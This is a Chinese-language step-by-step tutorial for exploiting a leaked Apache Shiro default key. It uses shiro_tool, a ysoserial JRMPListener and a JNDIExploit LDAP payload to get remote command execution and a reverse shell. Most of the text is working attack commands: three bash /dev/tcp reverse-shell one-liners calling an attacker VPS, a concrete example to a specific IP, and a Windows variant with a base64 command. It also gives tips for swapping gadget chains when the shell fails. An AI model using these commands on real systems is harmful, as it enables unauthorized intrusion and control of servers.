shiro泄露key无依赖链利用技巧
获取环境:
拉取镜像到本地
$ docker pull medicean/vulapps:s_shiro_1
启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
1.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链
2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作
java -jar shiro_tool.jar http://10.11.10.108:8081/login.jsp
2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试
dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下
3、在公网VPS上使用ysoserial开启端口,执行反弹命令
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令"
这里面的编码的内容在步骤4
坑一:CommonsCollection1-5 如果不反弹shell,换着使用
4、bash反弹命令编辑
https://x.hacking8.com/java-runtime.html //编码的链接
下面三种执行命令,酌情选择:
坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。
bash -i >& /dev/tcp/VPSIP/7777 0>&1
/bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1
0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196
这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口
/bin/bash -i > /dev/tcp/192.168.14.222/8888 0<&1 2>&1
Windows:
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p" d2hvYW1p为命令的base64,这里是执行命令whoamijava -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址
5、nc监听
6、输入接收shell的vps的ip和java-ysoserial-JRMPListener开启的端口(这里选择1,使用JRMPClient反弹shell)
7、执行成功,反弹shell